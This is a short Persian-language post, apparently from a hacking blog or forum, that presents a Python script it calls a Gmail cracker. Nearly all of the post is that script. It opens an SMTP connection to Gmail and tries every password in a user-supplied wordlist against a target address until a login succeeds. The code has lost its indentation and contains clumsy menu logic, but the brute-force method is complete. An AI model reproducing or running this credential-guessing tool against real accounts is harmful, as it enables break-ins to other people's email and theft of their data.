سلام دوستان میخوام امروز با پایتون بک برنامه کرک جیمیل ساده بنویسیم
ببینیم
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com:587")
smtpserver.ehlo()
smtpserver.starttls()
print("\t coded by C Security")
print("\n\n\n")
print(">>>> ID[1] Enter Your Gmail Traget ")
print(">>>> ID[2] help ")
print(">>>> ID[3] Exit ")
print("\n")
UID = input("Enter Your ID : ")
UID = int(UID)
def ano ():
email = input(">>= Enter Your Gmail : ")
if('@gmail.com' in email):
email = email
password_file = input(">>= Enter Your Password Files : ")
password_file = open(password_file)
for password in password_file:
try:
smtpserver.login(email,password)
print("Password Found : ",password)
break
except smtplib.SMTPAuthenticationError :
print("Passwor injections : ",password)
input("Enter Your Continue : ")
else:
print(">>>not gmail")
y = input(">>>rty agin (y,n)")
if(y == "y"):
ano()
if(y == "n"):
exit
if(y == "yes"):
ano()
if(y == "no"):
exit
if(y == "Y"):
ano()
if(y == "N"):
exit
if(y == "YES"):
ano()
if(y == "NO"):
exit
def help():
print("\t \tCodyd By C Security Team")
print("\t \t version 1.0")
print("\t \t programing : python")
print("\n\n\n\n\n\n")
print("\n\n\n")
print(">>>> ID[1] Enter Your Gmail Traget ")
print(">>>> ID[2] help ")
print(">>>> ID[3] Exit ")
print("\n")
UID = input("Enter Your ID : ")
UID = int(UID)
if(UID == 1):
ano()
if(UID == 2):
help()
if(UID == 3):
exit
if(UID == 1):
ano()
if(UID == 2):
help()
if(UID == 3):
exit
crack_gmail.py